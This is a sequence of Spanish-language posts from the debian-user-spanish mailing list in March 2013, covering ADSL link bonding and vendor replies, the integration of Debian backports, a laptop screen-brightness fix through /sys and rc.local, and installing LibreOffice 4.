El Mon, 18 Mar 2013 13:45:48 +0100, Ramses II escribió: (corrijo las citas) > ¿Seguro que un server en Internet va a mandar un cachito del fichero > a cada una de las 2 IP Públicas distintas?. Si te interesa esa tecnología, pregunta a las empresas que han desarrollado esos productos a ver qué te dicen ;-) >>> >>> * Planteada la duda de la suma a los fabricantes. A ver si >>> contestan... > >> Perfecto. Ya nos dirás con quién has contactado y qué te responden X-) > --- > > Bien, pues respondieron los tres a los que pregunté, que son los enlaces > que pusiste. > > A los tres les pregunté por la misma situación que plantee aquí, la de > si un único fichero se descargaría por los dos enlaces a la vez sumando > así el ancho de banda de ambas ADSL's, y respondieron lo siguiente: > > - Los de http://www.mushroomnetworks.com/: > (quito el nombre/correo) > For those types of traffic to be bonded, you will need a peering node, > either at a data center, or as a service from us (Broadband Bonding > Service), as it is technically impossible with them for non-http > traffic. > > Please let me know if you need additional information or if you have any > questions. > > -jay Sería interesante que también enviaras la pregunta que les hiciste tal cual, porque leyendo esta respuesta me faltan algunos datos, por ejemplo, habla de "un tipo de tráfico" que aparentemente "no es http" ¿a qué se refiere? > - Los de http://www.teloip.com/link-aggregation-hardware.php#ai-400: > (quito el nombre/correo) > The answer is the file will transfer at 40Mbps, ANA makes all the > bandwidth from both links available. The links can be different type > and speed, yet ANA can make them all perform as one pipe. Ah, eso está muy bien. > I see you are asking from Spain, and unfortunately we do not have the > service available in Spain yet. The Ai400 device is only part of the > required architecture. There is also a concentrator that works in the > data center or Point of Presence. We will need to find a carrier > partner in Spain to bring ANA service to your area. > > Regards, > > Todd Este fabricante dice que hace falta un concentrador en las instalaciones del ISP (entiendo) además de necesitar colaboración por su parte y que en España no tienen ningún acuerdo con socios españoles, por lo que este dispositivo quedaría descartado (la idea es unir el ancho de banda de dos conexiones de banda ancha a través de un dispositivo autónomo). > - Los de http://www.edge2wan.com/e2w/components/wanbonding.xrn: > (quito el nombre/correo) > Any http traffic, the technology decides the best way to perform the > download bonding. Aquí también me faltan datos... ¿sólo te ha respondido eso? :-? > Es decir, que todos coinciden en que solo bajo algunas condiciones muy > particulares con http y que necesitarían "peering", vamos, la misma > tecnología en las dos puntas, bien en el operador o en tu otra oficina, > que no es pinchar un cacharro de esos y 2 ADSL's de distintos operadores > y listos... El dispositivo de Teoip sí necesitaría colaboración del carrier (al menos es lo que se desprende de la respuesta) pero de los otros dos no me queda claro tras haber leído esas respuestas que has enviado. > Que realmente lo que hacen es repartir el tráfico entre los enlaces WAN > que se le conecten al "appliance", dando, desde el punto de vista de la > LAN, que suman el Ancho de Banda, y que sí dan una mayor Tolerancia a > Fallos. Eso te lo has sacado de la manga ya que no lo dicen por ningún lado (ni si quiera el aparatejo de Teloip) ;-) Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki78cs$noi$3...@ger.gmane.org
Re: [Noticia] Mayor integración de los backports a partir de Wheezy
El 18/03/13 11:06, Camaleón escribió: Hola, Acabo de leer esta nota en la lista "devel-announce": Backports integrated into the main archive http://lists.debian.org/debian-devel-announce/2013/03/msg7.html Parece que en Wheezy va a haber de nuevo cambios en los repositorios de los backports en aras de una mayor integración con los repositorios oficiales (también indican cambios en la URI para usar los backports en el archivo "/etc/apt/sources.list" por lo que conviene leer el mensaje completo). Un pasito más :-) Saludos, ¿Eso significa que una vez que sea estable tendrá la posibilidad de actualizar paquetes a medida que salgan versiones nuevas al estilo de las derivadas de Debian? -- Sergio Bessopeanetto Buenos Aires, Argentina Skype: sergio.bess Jabber: sergio.b...@jabber.org -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/514721d4.4000...@myopera.com
Re: imposible reducir el brillo de la pantalla
El Mon, 18 Mar 2013 12:10:56 +0100, Eduardo Rios escribió: > El 18/03/13 00:22, Eduardo Rios escribió: (...) >> Tengo instalados los controladores privativos de la Web de AMD [1], ya >> que los controladores del respositorio Debian hacen que se cuelgue el >> sistema gráfico. Si te refieres a los controladores libres (radeon) ese cuelgue deberías notificarlo para que en caso de que se trate de un bug lo puedan corregir cuanto antes. >> El problema es que no consigo reducir el brillo de la pantalla. Los >> botones del portátil hacen la función, según el icono que aparece en la >> pantalla, pero no se oscurece nada. >> >> Desde el gestor de energia de gnome3 tampoco hace nada >> >> Googleando, he encontrado info de la utilidad xbacklight, pero tampoco >> me funciona. No sé que más hacer. ¿Alguna idea? Gracias. Con los controladores propietarios va a ser complicado que lo puedas poner en un informe de fallo, el menos no en Debian (tendrías que notificar este problema a AMD/ATI). > Al final he encontrado la solución: > > Googleando he visto que hay que editar el fichero > /sys/class/backlight/intel_backlight/brightness. Por defecto tenía el > valor 4882, y bajando este valor, se reduce el brillo. Hum... entonces es que estás usando el driver Intel, no el de ATI ¿no? :-? > Para ello, lo que he hecho, es editar el fichero /etc/rc.local, y he > añadido en la línea anterior a exit 0, esto: echo 1100 > > /sys/class/backlight/intel_backlight/brightness > > Por si a alguien le sirve de ayuda. Sí, claro que sirve, gracias por ponerlo, pero convendría que informaras de este problema donde corresponda: - Si usas el driver intel → en el BTS de Debian - Si usas el driver radeon (libre) → en el BTS de Debian - Si usas el driver propietario (fglxr) → donde sea que diga AMD/ATI Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki77e1$noi$2...@ger.gmane.org
Re: Adiós de nuestro boletÃn.
El dÃa 18 de marzo de 2013 09:53, Rosa Aguero escribió: > > Adiós a nuestro boletÃn, lamentamos que se vaya. > > Usted ha sido desinscrito de nuestros boletines. > > Este es el último mensaje que recibirá de nosotros. Le hemos agregado a > nuestra "lista negra", lo que significa que nuestro sistema se rehusará a > enviarle cualquier otro mensaje sin la intervención manual de nuestro > administrador. > > Si hay un error en esta información. puede reinscribirse. En ese caso, > por favor vaya a http://prestamoscostarica.com/comunicaciones/?p=subscribe > y siga los pasos ahà detallados. > > Gracias > > Hola Lista, alguien me puede decir por que me llegan estos correos raros.. llegan de la lista .. Saludos Ricardo -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/cah45fxfvjpxk+0t6xyiqsuwhmlz4nasf2p3usaejvx8m1to...@mail.gmail.com
[Noticia] Mayor integración de los backports a partir de Wheezy
Hola, Acabo de leer esta nota en la lista "devel-announce": Backports integrated into the main archive http://lists.debian.org/debian-devel-announce/2013/03/msg7.html Parece que en Wheezy va a haber de nuevo cambios en los repositorios de los backports en aras de una mayor integración con los repositorios oficiales (también indican cambios en la URI para usar los backports en el archivo "/etc/apt/sources.list" por lo que conviene leer el mensaje completo). Un pasito más :-) Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki771h$noi$1...@ger.gmane.org
Re: Libre Office 4
- Original Message - From: "Camaleón" To: Sent: Saturday, March 16, 2013 12:02 PM Subject: Re: Libre Office 4 El Tue, 12 Mar 2013 14:14:21 +, Camaleón escribió: El Mon, 11 Mar 2013 14:02:41 -0500, Ismael L. Donis Garcia escribió: (...) Cuando descompactas dentro de la carpeta DEBS te descompacta todos los .deb excepto 1 el cual lo descompacta en la carpeta desktop-integration. Instalas primero los .deb de la carpeta DEBS y después entras a la carpeta desktop-integration e instalas el .deb que te descompactó en esa ubicación. Anda... pues eso suena a bug ¿no? :-? Hum... lo mencionan aquí, en la guía de instalación: Installation of LibreOffice on Debian/Ubuntu-based Linux systems http://www.libreoffice.org/get-help/installation/linux/ Perfecto pues, gracias por el apunte. Para el archivo: Lo acabo de instalar (versión 4.0.1) siguiendo los pasos de arriba en Wheezy con XFCE (versión 32 bits proque está en la VM), previa eliminación de los paquetes de LO de Debian y todo ha ido como la seda. Se ha ganado el "Camaleón's Seal of Approval" :-) Saludos, Camaleón Perfecto. Si le encuentras errores, si puedes los posteas a los desarrolladores para ver si seguimos ganando en un sistema aun mejor, ya que el Office de los malos va como un relámpago por delante (Office 2013) "No quiero polémicas con esto, sino que vallamos mejorando aun más nuestras herramientas de trabajo". Saludos Cordiales = || ISMAEL || = Websites: www.siscone.hol.es www.firebirdssql.org -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/b27abb1cbe8448158a88c0369008b...@eicc.citricos.cu
Adi�s de nuestro bolet�n.
Adi�s a nuestro bolet�n, lamentamos que se vaya. Usted ha sido desinscrito de nuestros boletines. Este es el �ltimo mensaje que recibir� de nosotros. Le hemos agregado a nuestra "lista negra", lo que significa que nuestro sistema se rehusar� a enviarle cualquier otro mensaje sin la intervenci�n manual de nuestro administrador. Si hay un error en esta informaci�n. puede reinscribirse. En ese caso, por favor vaya a http://prestamoscostarica.com/comunicaciones/?p=subscribe y siga los pasos ah� detallados. Gracias -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/dd9399387e1e8cb66602916a23d57...@prestamoscostarica.com
RE: 2 isp [ot]
Buenos días, -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: jueves, 14 de marzo de 2013 18:40 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Thu, 14 Mar 2013 18:12:02 +0100, Ramses II escribió: >> El 13/03/2013, a las 18:20, Camaleón escribió: (...) Recuerdo que en la RDSI se usaba algo similar en cuanto a concepto (se sumaban los dos canales B de 64 Kbps para obtener "súper -velocidades" de 128 Kbps). Es normal que estas cosas avancen, habrán desarrollado alguna diablura para aprovechar los nuevos protocolos >:-) >> >>> Esto era a través del mismo enlace físico... >> >> Sí, claro, y del mismo ISP. El concepto es lo que es "parecido", >> vamos, que como suele suceder no se han inventado nada sino que han >> adaptado lo existente a los nuevos protocolos. Normal. > > * Estábamos hablando de operadores distintos, con ADSL's normales... Bueno, ahora mismo no. Hablábamos sobre la opción que permitía la RDSI de sumar los dos canales B para aumentar el ancho de banda. >>> ¿Seguro que un server en Internet va a mandar un cachito del fichero >>> a cada una de las 2 IP Públicas distintas?. >> >> Si te interesa esa tecnología, pregunta a las empresas que han >> desarrollado esos productos a ver qué te dicen ;-) > > * Planteada la duda de la suma a los fabricantes. A ver si contestan... Perfecto. Ya nos dirás con quién has contactado y qué te responden X-) --- Bien, pues respondieron los tres a los que pregunté, que son los enlaces que pusiste. A los tres les pregunté por la misma situación que plantee aquí, la de si un único fichero se descargaría por los dos enlaces a la vez sumando así el ancho de banda de ambas ADSL's, y respondieron lo siguiente: - Los de http://www.mushroomnetworks.com/: --- Cahit Jay Akin For those types of traffic to be bonded, you will need a peering node, either at a data center, or as a service from us (Broadband Bonding Service), as it is technically impossible with them for non-http traffic. Please let me know if you need additional information or if you have any questions. -jay --- - Los de http://www.teloip.com/link-aggregation-hardware.php#ai-400: --- Todd Davis The answer is the file will transfer at 40Mbps, ANA makes all the bandwidth from both links available. The links can be different type and speed, yet ANA can make them all perform as one pipe. I see you are asking from Spain, and unfortunately we do not have the service available in Spain yet. The Ai400 device is only part of the required architecture. There is also a concentrator that works in the data center or Point of Presence. We will need to find a carrier partner in Spain to bring ANA service to your area. Regards, Todd --- - Los de http://www.edge2wan.com/e2w/components/wanbonding.xrn: --- French, Daren Any http traffic, the technology decides the best way to perform the download bonding. --- Es decir, que todos coinciden en que solo bajo algunas condiciones muy particulares con http y que necesitarían "peering", vamos, la misma tecnología en las dos puntas, bien en el operador o en tu otra oficina, que no es pinchar un cacharro de esos y 2 ADSL's de distintos operadores y listos... Que realmente lo que hacen es repartir el tráfico entre los enlaces WAN que se le conecten al "appliance", dando, desde el punto de vista de la LAN, que suman el Ancho de Banda, y que sí dan una mayor Tolerancia a Fallos. Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/000c01ce23d6$8827db50$987791f0$@gmail.com
Re: imposible reducir el brillo de la pantalla
El 18/03/13 00:22, Eduardo Rios escribió: Hola a todos: Utilizo un portátil HP Pavilion dv7-6090es, que tiene una tarjeta gráfica integrada Intel HD 3000, pero que puede cambiar a una ATI Radeon HD 6770M si se necesita mayor rendimiento. Uso Debian Wheezy. Tengo instalados los controladores privativos de la Web de AMD [1], ya que los controladores del respositorio Debian hacen que se cuelgue el sistema gráfico. El problema es que no consigo reducir el brillo de la pantalla. Los botones del portátil hacen la función, según el icono que aparece en la pantalla, pero no se oscurece nada. Desde el gestor de energia de gnome3 tampoco hace nada Googleando, he encontrado info de la utilidad xbacklight, pero tampoco me funciona. No sé que más hacer. ¿Alguna idea? Gracias. [1] http://support.amd.com/us/gpudownload/linux/Pages/radeon_linux.aspx Al final he encontrado la solución: Googleando he visto que hay que editar el fichero /sys/class/backlight/intel_backlight/brightness. Por defecto tenía el valor 4882, y bajando este valor, se reduce el brillo. Para ello, lo que he hecho, es editar el fichero /etc/rc.local, y he añadido en la línea anterior a exit 0, esto: echo 1100 > /sys/class/backlight/intel_backlight/brightness Por si a alguien le sirve de ayuda. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/5146f640.9010...@yahoo.es
